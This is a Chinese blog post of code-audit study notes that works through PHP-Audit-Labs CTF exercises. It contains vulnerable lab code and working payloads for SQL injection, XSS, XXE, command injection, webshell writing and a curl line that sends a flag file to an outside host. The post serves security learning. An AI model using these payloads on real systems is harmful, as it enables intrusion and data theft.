PHP-Audit-Labs審計(jì)學(xué)習(xí)

打算在代碼審計(jì)上入下坑。本來(lái)找了個(gè)不知名cms想審計(jì)一下的滴某。偶然間看到了星盟王嘆之師傅在用php-audit-labs練審計(jì),所以自己也打算練一下審計(jì)的技術(shù),畢竟自己審計(jì)功力太差了...p牛也曾經(jīng)說(shuō)過(guò),練習(xí)審計(jì)到能看懂一個(gè)完整的CMS就算有一定功底了涝开。所以就把php-audit-labs的全部都過(guò)一遍吧。

(最近也總算熟練了一下node跟python相關(guān)的開發(fā)入門。等之后找時(shí)間把java入門知識(shí)過(guò)一遍,再把ECMAscript6的基礎(chǔ)過(guò)一遍就差不多了)

Day1

in_array()

任意文件上傳漏洞碰镜。主要問(wèn)題在于in_array()函數(shù)的使用不當(dāng)逃呼。如果未設(shè)置in_array()第三個(gè)參數(shù)為true則我們可以通過(guò)上傳7shell.php繞過(guò)檢查鳖孤。因?yàn)?code>7shell.php被轉(zhuǎn)換為7.
同樣出現(xiàn)在某cms中利用這點(diǎn)可以繞過(guò)進(jìn)行insert_into注入

當(dāng)in_array()繞過(guò)后輕松達(dá)成注入。
1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#

練習(xí)

config.php

<?php  
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day1";

function stop_hack($value){
    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|",$pattern);
    foreach($back_list as $hack){
        if(preg_match("/$hack/i", $value))
            die("$hack detected!");
    }
    return $value;
}
?>

index.php

<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("連接失敗: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "<center><table border='1'>";
    foreach ($row as $key => $value) {
        echo "<tr><td><center>$key</center></td><br>";
        echo "<td><center>$value</center></td></tr><br>";
    }
    echo "</table></center>";
}
else{
    die($conn->error);
}

?>

這題的in_array()并不是難點(diǎn)抡笼。因?yàn)橹灰猧d開頭為數(shù)字就能繞過(guò)了
主要問(wèn)題在于后面注入上苏揣。
所幸語(yǔ)句中會(huì)爆出sqlerror.在過(guò)濾了這些關(guān)鍵字的情況下仍可以使用報(bào)錯(cuò)函數(shù),select,from等基本就足夠得到flag了。
不過(guò)這里存在一個(gè)細(xì)節(jié),就是updatexml這樣的報(bào)錯(cuò)函數(shù)如果語(yǔ)句中不包含特殊字符也就是我們?cè)瓉?lái)經(jīng)常使用的0x7e之類的字符推姻,爆出的結(jié)果將會(huì)出現(xiàn)字符丟失的現(xiàn)象平匈。

所以找替代的字符串連接函數(shù)即可.make_set()

?id=4 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

其實(shí)自己原來(lái)做sql注入的題目也曾搜索過(guò)相關(guān)的內(nèi)容。比如在concat被過(guò)濾的情況下不使用group_concat將所有查詢結(jié)果都列出來(lái)。當(dāng)時(shí)發(fā)現(xiàn)make_set()是能起到concat一樣的效果的增炭。但是注意的是,make_set至少接收兩個(gè)參數(shù),因此必須使用逗號(hào)忍燥。concat類則不然。

Day2

filter_var()

題目主要是在兩處存在過(guò)濾隙姿。首先是twig模板里出現(xiàn)的{{link|escape}}(這種寫法屬于twig中 {{表達(dá)式|filters}} 的寫法)

然后是一個(gè)filter_var()函數(shù)
這里escape過(guò)濾器調(diào)用的實(shí)際上是htmlspecialchars()函數(shù)梅垄。作用自然是將常見(jiàn)的特殊字符轉(zhuǎn)為實(shí)體字符。
filter_var()在curl的ssrf中就曾見(jiàn)過(guò)输玷。主要檢查一個(gè)url是否合法队丝。
因此代碼邏輯主要是經(jīng)過(guò)過(guò)濾后生成一個(gè)a標(biāo)簽。
那么可能存在self-xss

官方的payload
?nextSlide=javascript://comment%250aalert(1)達(dá)到彈窗的self-xss. 使用javascript偽協(xié)議繞過(guò)
巧妙的就是利用filtervar的缺陷輕松使用xxx://的形式繞過(guò)檢查欲鹏。然后也可以進(jìn)行js語(yǔ)句的執(zhí)行机久。重要的一點(diǎn)就是//在js中是注釋符。因此使用%250a(double urlencode %0a 以繞過(guò)瀏覽器自動(dòng)的解碼)將后面的內(nèi)容換行到下一行貌虾。成功執(zhí)行alert.

某cms中的利用是,在訪問(wèn)404頁(yè)面存在這樣的代碼

<code><?php echo current_url(); ?></code>

current_url()方法接受完整的404url參數(shù)吞加。返回最后一個(gè)/后的內(nèi)容拼接進(jìn)code代碼塊。即可以插入xss代碼<script>alert(1)</script>導(dǎo)致了xss
payloadhttp://localhost/anchor/index.php/<script>alert('1')</script>

練習(xí)

// index.php
<?php 
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);
    if(preg_match('/sec-redclub.com$/',$site_info['host'])){
        exec('curl "'.$site_info['host'].'"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    }
    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>
// f1agi3hEre.php
<?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

一個(gè)明顯的curl尽狠。而且還是經(jīng)典的可繞過(guò)的filter_var()+parse_url()+exec()執(zhí)行curl的配置衔憨。
那現(xiàn)在關(guān)鍵是利用這個(gè)來(lái)進(jìn)行文件讀取。
比如把之前的可繞過(guò)filter_var()+parse_url()的payload拿出來(lái)

demo://evil.com:80;sec-redclub.com:80/
demo://evil.com:80,sec-redclub.com:80/

這里想要執(zhí)行命令讀取文件袄膏。那么恰好可以用到linux中使用分號(hào)進(jìn)行命令分割的作用践图。
demo://%22;ls;%23;sec-redclub.com:80/
然后為了讀文件使用<代替空格
demo://%22;cat%20f1agi3hEre.php;%23;sec-redclub.com:80/

單純針對(duì)filter_var的話把七月火師傅的payload放出來(lái)

http://localhost/index.php?url=http://demo.com@sec-redclub.com
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
PS:最后一個(gè)payload的#符號(hào),請(qǐng)換成對(duì)應(yīng)的url編碼 %23

Day3

class_exists()&&內(nèi)部類xxe

上面的代碼有一個(gè)比較過(guò)時(shí)的路徑穿越的文件包含的洞沉馆。
即調(diào)用class_exists()函數(shù)時(shí)會(huì)自動(dòng)加載__autoload()码党。達(dá)成文件包含。如果是ph5-5.3則可以構(gòu)造路徑穿越斥黑。
還有一個(gè)洞比較有意思揖盘。實(shí)例化類的類名和傳入類的參數(shù)均可控。此時(shí)即使沒(méi)有惡意類我們也能用SimpleXMLElement構(gòu)造xxe攻擊锌奴。這點(diǎn)我在buu上做
SUCTF 2018 Homework這題時(shí)也用到了它達(dá)成xxe并進(jìn)一步使用xxe打ssrf

某cms的利用是一個(gè)可控變量帶來(lái)的反序列化XXE.具體利用不談兽狭。簡(jiǎn)單說(shuō)下gadget最后的利用。類中實(shí)現(xiàn)了一個(gè)反射類實(shí)例化鹿蜀。而類名可控箕慧。之后連反射類的參數(shù)也是可控的。導(dǎo)致我們可以任意實(shí)例化SimpleXMLElement并構(gòu)造xxepayload進(jìn)行攻擊茴恰。
根據(jù)實(shí)際情況構(gòu)造payload
{"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}
這里幾個(gè)參數(shù)尤其是2那個(gè)印象很深刻,同時(shí)也很必要颠焦。SUCTF那題就是如此
{"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}

練習(xí)

// index.php
<?php
class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'=>'.$value.'<br>';
}
// f1agi3hEre.php
<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>

利用經(jīng)過(guò)上面的鋪墊就很簡(jiǎn)單了。直接用可控的參數(shù)進(jìn)行xxe即可往枣。但是需要注意的是,xxe需要進(jìn)行php文件流來(lái)進(jìn)行內(nèi)容讀取伐庭。因?yàn)?code>< > & ' "等字符會(huì)使xml解析出錯(cuò)粉渠。不過(guò)用base64讀文件這種解決辦法想必早就是輕車熟路了吧。
?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/CTF/f1agi3hEre.php">]><x>%26xxe;</x>&param2=2

假如題目不知道flag的名字還可以用另外的類進(jìn)行文件名的讀取似忧。
?name=GlobIterator&param=./*.php&param2=0
作用與glob差不多渣叛。

Day4

str_pos()錯(cuò)誤使用

php許多函數(shù)因?yàn)槿躅愋突蚝谀ХㄕQ生了各種各樣的漏洞。str_pos()也是如此盯捌。上面的代碼看似嚴(yán)格限制了內(nèi)容不能含有<>淳衙。然而str_pos返回的值可以是0.
即匹配的字符串首個(gè)字符就是<>饺著。既然如此箫攀,!strpos()返回的就是真值幼衰。成功繞過(guò)靴跛。
payload:
<"><injected-tag%20property="&pass=<injected-tag>
同樣類似的漏洞也常見(jiàn)于preg_match()這樣的函數(shù)。因?yàn)樗赡軙?huì)因?yàn)閭魅霐?shù)組或者正則回溯導(dǎo)致返回false值渡嚣。如果開發(fā)者所寫的判斷只是!preg_match()就很容易繞過(guò)了梢睛。

某CMS中的問(wèn)題也是弱類型的鍋。使用若類型相等判斷時(shí)识椰,假如數(shù)據(jù)庫(kù)中存儲(chǔ)的值是空字符串绝葡。那么當(dāng)null與""進(jìn)行弱類型相等時(shí)將返回true.

null=='' //true
"0.0"=="0" //true
"0."=="0" //true
"0e"=="0" //true

練習(xí)

這是攻防世界上做過(guò)的原題。應(yīng)該是lottery這個(gè)把腹鹉。用到的是json的弱類型藏畅。json弱類型判相等時(shí),只要傳入true與非零數(shù)字功咒。結(jié)果都將返回true

json弱類型比較出名的一個(gè)比較就是數(shù)字與字符串之間的轉(zhuǎn)換

0=="0a....sds"
12=="12fw...sd"
789=="789asabxz"

字符串會(huì)被直接截取前面的純數(shù)字部分進(jìn)行判斷

Day5

escapeshellcmd()+escapeshellarg()

主體上就是一個(gè)過(guò)濾了后的mail函數(shù)執(zhí)行愉阎。
mail函數(shù)的參數(shù)是這樣的

bool mail (
    string $to ,
    string $subject ,
    string $message [,
    string $additional_headers [,
    string $additional_parameters ]]
)

由于默認(rèn)調(diào)用的是linux的sendmail函數(shù),所以可以在message中寫入惡意代碼力奋。接著由additional_parameters 指定額外參數(shù)榜旦,從而寫入在指定目錄寫入文件。

但是景殷,php的mail函數(shù)也在底層默認(rèn)執(zhí)行了一層escapeshellcmd()函數(shù)章办,那么顯然轉(zhuǎn)義了我們的惡意代碼。
不過(guò)滨彻,本題代碼還有一處經(jīng)典的escapeshellarg()。如果escapeshellarg()+escapeshellcmd()搭配使用挪蹭,將出現(xiàn)特殊字符逃逸的問(wèn)題亭饵。
buu上也有一個(gè)類似的題目.這里則借用項(xiàng)目里的例子簡(jiǎn)單介紹下

127.0.0.1' -v -d a=1
#escapeshellarg
'127.0.0.1'\'' -v -d a=1'
#escapeshellcmd
'127.0.0.1'\\'' -v -d a=1\'

此時(shí)最后一步可以看出,\\將被解釋為\不再起到轉(zhuǎn)義的作用梁厉,而是作為換行符辜羊。因此payload變?yōu)橄仁?code>127.0.0.1踏兜,再-v -d-d對(duì)應(yīng)的數(shù)據(jù)為a=1'.

比如CVE-2016-10033 跟CVE-2016-10045的兩個(gè)payload

a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com

a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com

前者沒(méi)有escapeshellcmd直接打。后者escapeshellcmd后又加了一層escapeshellarg導(dǎo)致字符逃逸八秃。

練習(xí)

//index.php
<?php
highlight_file('index.php');
function waf($a){
    foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
            exit('are you a hacker');
        }
    }
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
    if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
    }

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
    if($_GET['flag'] === $_GET['hongri']){
        exit('error');
    }
    if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
        $url = $_GET['url'];
        $urlInfo = parse_url($url);
        if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
            die( "scheme error!");
        }
        $url = escapeshellarg($url);
        $url = escapeshellcmd($url);
        system("curl ".$url);
    }
}
?>
// flag.php
<?php
$flag = "HRCTF{Are_y0u_maz1ng}";
?>

很明顯的變量覆蓋碱妆,之后要繞過(guò)waf。再接下來(lái)就是escapeshellsmd/arg的搭配進(jìn)行命令執(zhí)行了昔驱。
首先要解決的是疹尾,我們必須繞過(guò)preg_match的限制才能傳入flag變量。因此要利用好它寫好的這個(gè)功能骤肛。

首先這里利用了可變變量的特性纳本。假設(shè)我們提交

?flag=test 
post:_GET[flag]=test

當(dāng)開始遍歷 $_POST 超全局?jǐn)?shù)組的時(shí)候, $__k 代表 _GET[flag] 腋颠,所以 $$__k就是 $_GET[flag] 繁成,即 test 值,此時(shí) $$__k == $__v 成立淑玫,變量 $_GET[flag] 就被 unset 了

而接下來(lái)下面又有一個(gè)變量覆蓋
if($_POST) extract($_POST, EXTR_SKIP);
所以直接得到$_GET[flag]=test繞過(guò)第一層

第二層只需利用0e的MD5弱類型比較
最后是curl的命令執(zhí)行
http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999
似乎當(dāng)curl版本變高后巾腕,將不再能執(zhí)行。
curl '127.0.0.1'\''

Day6

正則不當(dāng)導(dǎo)致路徑穿越

任意文件刪除漏洞絮蒿。主要是preg_replace()函數(shù)的使用不當(dāng)尊搬。忽略了../../這種路徑「杈叮可以使用路徑穿越進(jìn)行任意文件刪除

練習(xí)

// index.php
<?php
include 'flag.php';
if  ("POST" == $_SERVER['REQUEST_METHOD'])
{
    $password = $_POST['password'];
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
    {
        echo 'Wrong Format';
        exit;
    }
    while (TRUE)
    {
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
        if (6 > preg_match_all($reg, $password, $arr))
            break;
        $c = 0;
        $ps = array('punct', 'digit', 'upper', 'lower');
        foreach ($ps as $pt)
        {
            if (preg_match("/[[:$pt:]]+/", $password))
            $c += 1;
        }
        if ($c < 3) break;
        if ("42" == $password) echo $flag;
        else echo 'Wrong password';
        exit;
    }
}
highlight_file(__FILE__);
?>

練習(xí)里的正則寫的十分罕見(jiàn)毁嗦。其實(shí)使用到的是php的字符類。除了一看就懂的upper這些回铛,其他的字符類的含義是

graph 空格以外的可打印字符
punct  打印字符狗准,不包括字母數(shù)字

主要函數(shù)里,第一個(gè)正則表示匹配到可打印字符12個(gè)以上;第二個(gè)正則表示把連續(xù)的符號(hào)茵肃、數(shù)字腔长、大寫、小寫验残,作為一段捞附,至少分六段;第三個(gè)正則表示輸入的字符串至少含有符號(hào)、數(shù)字您没、大寫鸟召、小寫中的三種類型。

最后與數(shù)字進(jìn)行弱類型比較氨鹏。
payload

42.00e+00000

紅日的文章里還提到了一個(gè)配置不當(dāng)寫shell的問(wèn)題欧募。

<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

這個(gè)是不帶修飾符模式的正則匹配.
第一種方法

http://127.0.0.1/index.php?option=a';%0aphpinfo();//
http://127.0.0.1/index.php?option=a

第一個(gè)payload寫入內(nèi)容后只有一個(gè)單引號(hào)被轉(zhuǎn)義的問(wèn)題。而第二部分再傳入一個(gè)a時(shí)就會(huì)因?yàn)?code>.*匹配無(wú)數(shù)次而把\換掉

還有兩種preg_replace的方法仆抵、這里提下第二種跟继,也就是還適用于單行(非貪婪)模式的payload种冬。之前安恒的套娃web2里出現(xiàn)過(guò)。

http://127.0.0.1/test/ph.php?option=;phpinfo();
http://127.0.0.1/test/ph.php?option=$0

其最后的效果是下面這樣的

<?php
$option='$option=';phpinfo();';';

Day7

parse_str()變量覆蓋

parse_str的作用就是解析字符串并且注冊(cè)成變量舔糖,它在注冊(cè)變量之前不會(huì)驗(yàn)證當(dāng)前變量是否存在娱两,所以會(huì)直接覆蓋掉當(dāng)前作用域中原有的變量。

所以此處存在的變量問(wèn)題就是parse_str()處理了我們可控的參數(shù)后,是可以起到控制全局變量的效果的金吗。因此可以控制$config變量及其對(duì)應(yīng)的參數(shù)十兢。達(dá)成變量覆蓋。

解決這類變量覆蓋問(wèn)題的最好方法還是通過(guò)檢查某一變量是否已經(jīng)設(shè)定過(guò)了(isset())辽聊。這樣在沒(méi)有設(shè)定過(guò)變量的else分支才能安全使用parse_str()

練習(xí)

//index.php
<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
//uploadsomething.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
    $savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
    if (!is_dir($savepath)) {
        $oldmask = umask(0);
        mkdir($savepath, 0777);
        umask($oldmask);
    }
    if ((@$_GET['filename']) && (@$_GET['content'])) {
        //$fp = fopen("$savepath".$_GET['filename'], 'w');
        $content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
        file_put_contents("$savepath" . $_GET['filename'], $content);
        $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
        usleep(100000);
        $content = "Too slow!";
        file_put_contents("$savepath" . $_GET['filename'], $content);
    }
   print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
    echo 'you can not see this page';
}
?>

第一部分是一個(gè)比較刻意的parse_str()變量覆蓋的用例纪挎。只要解決md5弱類型比較的問(wèn)題就好了

?id=a[0]=s878926199a 

第二部分先是注意一個(gè)referer頭要帶上。之后就是一個(gè)讀flag的問(wèn)題了跟匆。因?yàn)閒lag的內(nèi)容會(huì)在掛起0.1s然后被替換掉异袄。所以需要我們?nèi)l件競(jìng)爭(zhēng)。當(dāng)然這里上傳目錄是固定的玛臂。所以就可以放心發(fā)包了烤蜕。

Day8

preg_replace/e

這是一個(gè)自己剛了解CTF不久時(shí)接觸的一個(gè)preg_replace()/e下存在代碼執(zhí)行的漏洞了。當(dāng)然這個(gè)洞是php5.5版本的

我們的參數(shù)可以控制preg_replace的第一迹冤,三個(gè)參數(shù)讽营。達(dá)成任意代碼執(zhí)行。

然后當(dāng)時(shí)也是讀到一篇文章專門講到這里payload的構(gòu)造
原本官方的payload

/?.*={${phpinfo()}}

如果GET請(qǐng)求的參數(shù)名存在非法字符泡徙,PHP會(huì)將其替換成下劃線橱鹏,即.* 會(huì)變成 _*
而實(shí)際可行的payload

\S*=${phpinfo()} 

練習(xí)

// index.php
<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";

?>
// index2.php
<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>50){
        die("Too Long.");
    }
    if(preg_match("/[A-Za-z0-9_]+/",$code)){
        die("Not Allowed.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?> 

已經(jīng)司空見(jiàn)慣的無(wú)數(shù)字字母webshell書寫了

留一個(gè)FUZZ腳本

<?php
$a = str_split('getFlag');
for($i = 0; $i < 256; $i++){
    $ch = '{'^ chr($i);
    if (in_array($ch, $a , true)) {
        echo "{ ^ chr(".$i.") = $ch<br>";
    }
}
echo "{{{{{{{"^chr(28).chr(30).chr(15).chr(61).chr(23).chr(26).chr(28);

?>

payload1

$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();

payload2

$哼="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$哼();

上次做36d的某道題自己用了最極限的無(wú)數(shù)字字母且不能異或取反的webshell。也就是通配符加上php臨時(shí)文件命令執(zhí)行堪藐。那個(gè)應(yīng)該算是比較難用的莉兰,但可以解決大部分waf了

Day9

str_replace()過(guò)濾不當(dāng)

一個(gè)比較明顯的過(guò)濾函數(shù)問(wèn)題。它只是將../替換為空礁竞。那么很容易就能使用....//進(jìn)行雙寫繞過(guò)
然后就是require_once()的文件包含了糖荒。

CMS實(shí)例就是造成路徑穿越,得到任意文件讀取。
當(dāng)然雙寫/url二次編碼進(jìn)行路徑穿越的技巧其實(shí)也算很常見(jiàn)了模捂。

練習(xí)

/ index.php
<?php  
include 'config.php';
include 'function.php';

$conn = new mysqli($servername,$username,$password,$dbname);
if($conn->connect_error){
    die('連接數(shù)據(jù)庫(kù)失敗');
}

$sql = "SELECT COUNT(*) FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $id = $row['COUNT(*)'] + 1;
}
else die($conn->error);

if(isset($_POST['msg']) && $_POST['msg'] !==''){
    $msg = addslashes($_POST['msg']);
    $msg = replace_bad_word(convert($msg));
    $sql = "INSERT INTO users VALUES($id,'".$msg."')";
    $result = $conn->query($sql);
    if($conn->error) die($conn->error);
}
echo "<center><h1>Welcome come to HRSEC message board</center></h1>";
echo <<<EOF
<center>
    <form action="index.php" method="post">
        <p>Leave a message: <input type="text" name="msg" /><input type="submit" value="Submit" /></p>
    </form>
</center>
EOF;
$sql = "SELECT * FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
    echo "<center><table border='1'><tr><th>id</th><th>message</th><tr></center>";
    while($row = $result->fetch_row()){
        echo "<tr><th>$row[0]</th><th>$row[1]</th><tr>";
    }
    echo "</table></center>";
}
$conn->close();
?>
// function.php
<?php  
function replace_bad_word($str){
    global $limit_words;
    foreach ($limit_words as $old => $new) {
        strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
    }
    return $str;
}

function convert($str){
    return htmlentities($str);
}

$limit_words = array('造反' => '造**', '法輪功' => '法**');

foreach (array('_GET','_POST') as $method) {
    foreach ($$method as $key => $value) {
        $$key = $value;
    }
}
?>

// config.php

<?php  
$servername = "localhost";
$username = "hongrisec";
$password = "hongrisec";
$dbname = "day9";
?>
# 搭建CTF環(huán)境使用的sql語(yǔ)句
create database day9;
use day9;
create table users(
id integer auto_increment not null primary key,
message varchar(50)
);
create table flag( flag varchar(40));
insert into flag values('HRCTF{StR_R3p1ac3_anD_sQ1_inJ3ctIon_zZz}');

可控的msg變量被拼接進(jìn)sql語(yǔ)句捶朵。但是卻經(jīng)過(guò)了html實(shí)體編碼,轉(zhuǎn)義,過(guò)濾個(gè)別詞的操作。

不過(guò),在function.php卻存在很明顯的變量覆蓋漏洞狂男。那么我們可以通過(guò)覆蓋$limit_words數(shù)組综看,來(lái)逃逸單引號(hào).

最后payload

1%00' and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1))#&limit_words[\0\]=
1%00' and updatexml(1,concat(0x7e,(select reverse(flag) from flag),0x7e),1))#&limit_words[\0\]=

Day10

程序判錯(cuò)未exit()

這里的問(wèn)題主要是:代碼雖然有相應(yīng)的防御操作,但是程序未立即停止退出岖食,導(dǎo)致程序繼續(xù)執(zhí)行的問(wèn)題

此處extract()得到了一個(gè)變量覆蓋的利用
加上assert()寓搬,所以pi變量直接給webshell代碼即可

我個(gè)人一次體驗(yàn)比較深的經(jīng)歷是:在htb的某個(gè)靶機(jī)中。有一處php代碼中曾經(jīng)限定只有指定用戶訪問(wèn)(檢查session),才會(huì)顯示其ssh密鑰县耽。而此時(shí)我們的權(quán)限是www-data.看似無(wú)法獲得ssh密鑰,但是其代碼中出現(xiàn)了疏忽,在對(duì)user的session判別后沒(méi)有立即exit().那么當(dāng)我們以www-data直接本地curl這一網(wǎng)頁(yè)時(shí),將可以得到密鑰,進(jìn)而提權(quán)句喷。

練習(xí)

// index.php
<?php
include 'config.php';
function stophack($string){
    if(is_array($string)){
        foreach($string as $key => $val) {
            $string[$key] = stophack($val);
        }
    }
    else{
        $raw = $string;
        $replace = array("\\","\"","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
        $string = str_ireplace($replace, "HongRi", $string);
        $string = strip_tags($string);
        if($raw!=$string){
            error_log("Hacking attempt.");
            header('Location: /error/');
        }
        return trim($string);
    }
}
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("連接失敗: ");
}
if(isset($_GET['id']) && $_GET['id']){
    $id = stophack($_GET['id']);
    $sql = "SELECT * FROM students WHERE id=$id";
    $result = $conn->query($sql);
    if($result->num_rows > 0){
        $row = $result->fetch_assoc();
        echo '<center><h1>查詢結(jié)果為:</h1><pre>'.<<<EOF
        +----+---------+--------------------+-------+
        | id | name    | email              | score |
        +----+---------+--------------------+-------+
        |  {$row['id']} | {$row['name']}   | {$row['email']}   |   {$row['score']} |
        +----+---------+--------------------+-------+</center>
EOF;
    }
}
else die("你所查詢的對(duì)象id值不能為空!");
?>

顯然,程序如果檢測(cè)到非法字符或單詞兔毙,都會(huì)將其替換成字符串 HongRi 唾琼,然而并沒(méi)有立即退出,這樣攻擊者輸入的攻擊語(yǔ)句還是會(huì)繼續(xù)被帶入數(shù)據(jù)庫(kù)查詢澎剥。只不過(guò)這里關(guān)鍵詞都被替換成了字符串 HongRi

簡(jiǎn)單的使用benchmark替換sleep即可盲注

-1 or if(ascii(mid((select flag from flag),1,1))=115,benchmark(200000000,7^3^8),0)

Day11

php反序列化

(第11行正則表達(dá)式應(yīng)改為:'/O:\d:/')

首先確認(rèn)了存在反序列化锡溯。且數(shù)據(jù)是cookie可控。那么考慮下繞過(guò)執(zhí)行反序列化哑姚。

那么看下loaddata里的限制
開頭不能是O:,即反序列化內(nèi)容不為對(duì)象
同時(shí)需要不能匹配字符串為O:任意十進(jìn)制:
如果只是第一部分當(dāng)然可以使用數(shù)組繞過(guò)祭饭。但是這樣第二部分還是會(huì)匹配到數(shù)組中的對(duì)象成分。

這里用到的是一個(gè)比較老的繞過(guò)方法了叙量。即使用O:+繞過(guò)倡蝙。而原理可以涉及到底層源碼。函數(shù)遇到+號(hào)時(shí)會(huì)繼續(xù)向下判斷绞佩,因此可以正常反序列化寺鸥。

最后就能成功執(zhí)行寫文件webshell了。

練習(xí)

<?php
include "config.php";

class HITCON{
   public $method;
   public $args;
   public $conn;

   function __construct($method, $args) {
       $this->method = $method;
       $this->args = $args;
       $this->__conn();
   }

   function __conn() {
       global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
       if (!$this->conn)
           $this->conn = mysql_connect($db_host, $db_user, $db_pass);
       mysql_select_db($db_name, $this->conn);
       if ($DEBUG) {
           $sql = "DROP TABLE IF  EXISTS  users";
           $this->__query($sql, $back=false);
           $sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64),
           password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";

           $this->__query($sql, $back=false);
           $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
           $this->__query($sql, $back=false);
       }
       mysql_query("SET names utf8");
       mysql_query("SET sql_mode = 'strict_all_tables'");
   }

   function __query($sql, $back=true) {
       $result = @mysql_query($sql);
       if ($back) {
           return @mysql_fetch_object($result);
       }
   }
 
   function login() {
       list($username, $password) = func_get_args();
       $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
       $obj = $this->__query($sql);

       if ( $obj != false ) {
           define('IN_FLAG', TRUE);
           $this->loadData($obj->role);
       }
       else {
         $this->__die("sorry!");
